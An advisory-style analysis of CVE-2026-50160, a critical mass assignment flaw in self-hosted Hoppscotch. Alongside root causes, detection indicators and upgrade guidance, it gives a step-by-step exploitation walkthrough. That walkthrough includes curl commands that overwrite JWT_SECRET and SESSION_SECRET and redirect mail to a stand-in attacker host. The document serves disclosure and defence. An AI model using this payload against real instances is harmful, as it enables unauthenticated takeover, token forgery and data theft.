CVE-2026-50160: 
NixOS vulnerability analysis and mitigation

CVE-2026-50160 is a critical mass assignment vulnerability in self-hosted deployments of Hoppscotch (hoppscotch-backend) that allows unauthenticated attackers to overwrite sensitive infrastructure configuration values — including JWT_SECRET and SESSION_SECRET — via the /v1/onboarding/config endpoint. All self-hosted versions up to and including 2026.4.1 are affected; the issue is fixed in version 2026.5.0. The vulnerability was disclosed publicly on June 23, 2026 via the oss-security mailing list and the GitHub Security Advisory GHSA-j542-4rch-8hwf. It carries a CVSS v3.1 base score of 10.0 (Critical) (GitHub Advisory, Openwall).

The vulnerability is classified as CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes) and stems from four independent weaknesses that combine to enable full exploitation. First, the global NestJS ValidationPipe in main.ts is configured without whitelist: true, so extra request body properties not declared in the SaveOnboardingConfigRequest DTO are not stripped. Second, Object.entries(dto) in infra-config.service.ts iterates all properties — including injected extras — without runtime key validation, casting them directly to InfraConfigEnum. Third, the validateEnvValues switch statement uses default: break, silently passing security-critical keys like JWT_SECRET and SESSION_SECRET without rejection. Fourth, the /v1/onboarding/config endpoint has no authentication guard — only a rate-limit guard — and is accessible whenever usersCount === 0 or onboarding has not been completed. A single unauthenticated HTTP POST request with extra JSON fields is sufficient to overwrite JWT_SECRET in the database (GitHub Advisory, GitHub PR #6171).

Successful exploitation grants the attacker full control of the JWT signing key, enabling them to forge valid authentication tokens for any user — including administrators — without knowing any credentials. With a forged admin JWT, the attacker can impersonate any user, exfiltrate all workspace data, API keys, collections, and team data via authenticated GraphQL queries, and persist administrative access even after legitimate credential resets. Overwriting SESSION_SECRET additionally invalidates all existing user sessions and allows the attacker to forge new ones. Other injectable keys include OAuth client secrets (GOOGLE_CLIENT_SECRET, GITHUB_CLIENT_SECRET, MICROSOFT_CLIENT_SECRET), rate-limit controls, and cookie security settings, broadening the blast radius beyond authentication compromise (GitHub Advisory).

1. Reconnaissance: Identify internet-facing Hoppscotch self-hosted instances (e.g., via Shodan searching for port 3170 or known Hoppscotch UI fingerprints) running versions ≤ 2026.4.1.
2. Check onboarding status: Send an unauthenticated GET request to confirm the instance is in a vulnerable state:

   curl http://target:3170/v1/onboarding/status
   # Expected response: {"onboardingCompleted":false,"canReRunOnboarding":true}

3. Send mass assignment payload: POST to the unauthenticated /v1/onboarding/config endpoint, including legitimate DTO fields (required to pass provider validation) alongside injected extra keys:

   curl -X POST http://target:3170/v1/onboarding/config \
     -H "Content-Type: application/json" \
     -d '{
       "VITE_ALLOWED_AUTH_PROVIDERS": "EMAIL",
       "MAILER_SMTP_ENABLE": "true",
       "MAILER_SMTP_URL": "smtp://attacker.com:25",
       "MAILER_ADDRESS_FROM": "attacker@evil.com",
       "JWT_SECRET": "ATTACKER_CONTROLLED_JWT_SECRET",
       "SESSION_SECRET": "ATTACKER_CONTROLLED_SESSION"
     }'
   # Response: {"token":"<setup-token>"} -- SUCCESS

4. Verify overwrite: Confirm JWT_SECRET was written to the database (requires DB access for verification, but the HTTP 200 response confirms success).
5. Forge admin JWT: Using the now-known JWT_SECRET value, sign a JWT token for any user UID (including admin accounts) using standard JWT libraries.
6. Achieve full compromise: Use the forged admin JWT in the Authorization header to access all authenticated API endpoints, exfiltrate data, modify configurations, or create backdoor accounts (GitHub Advisory, Openwall).

• Network: Unexpected POST requests to /v1/onboarding/config from external or untrusted IP addresses, especially containing JSON bodies with fields like JWT_SECRET or SESSION_SECRET; repeated GET requests to /v1/onboarding/status from scanning hosts.
• Logs: Backend access logs showing POST /v1/onboarding/config requests with large or unusual JSON payloads; HTTP 200 responses to onboarding config requests from unexpected source IPs.
• Database: InfraConfig table entries for JWT_SECRET or SESSION_SECRET containing values inconsistent with the originally configured secrets; unexpected changes to GOOGLE_CLIENT_SECRET, GITHUB_CLIENT_SECRET, or MICROSOFT_CLIENT_SECRET values.
• Authentication: Sudden appearance of valid JWT tokens for admin or privileged users with no corresponding login events; mass session invalidation events (indicating SESSION_SECRET overwrite); authenticated API activity from accounts with no prior login history (GitHub Advisory).

Upgrade hoppscotch-backend to version 2026.5.0 or later, which addresses all four root-cause weaknesses: enabling whitelist: true and forbidNonWhitelisted: true on the global ValidationPipe, adding a scoped controller-level pipe on the onboarding endpoint, introducing an ONBOARDING_ALLOWED_KEYS allowlist in the service layer, and explicitly rejecting writes to JWT_SECRET, SESSION_SECRET, and ALLOW_SECURE_COOKIES (GitHub PR #6171). For instances that cannot be immediately upgraded, restrict network-level access to the /v1/onboarding/config endpoint (e.g., via firewall rules or reverse proxy ACLs) to trusted networks only during initial setup, and complete onboarding as quickly as possible after deployment to close the vulnerable window. After any suspected exploitation, rotate JWT_SECRET and SESSION_SECRET and invalidate all existing sessions (GitHub Advisory).

The vulnerability received notable coverage across security media, with outlets including GBHackers, The Hacker News, SecurityOnline, and CyberPress reporting on the critical CVSS 10.0 score and the novel discovery method — an autonomous AI security agent named Kira developed by Offgrid Security (Openwall). The r/netsec subreddit highlighted the advisory with the framing "four independent weaknesses combine," drawing community attention to the defense-in-depth failure pattern. Bluesky and Mastodon infosec communities amplified the disclosure shortly after publication. The vulnerability's discovery by an AI agent was noted as a significant milestone in automated vulnerability research.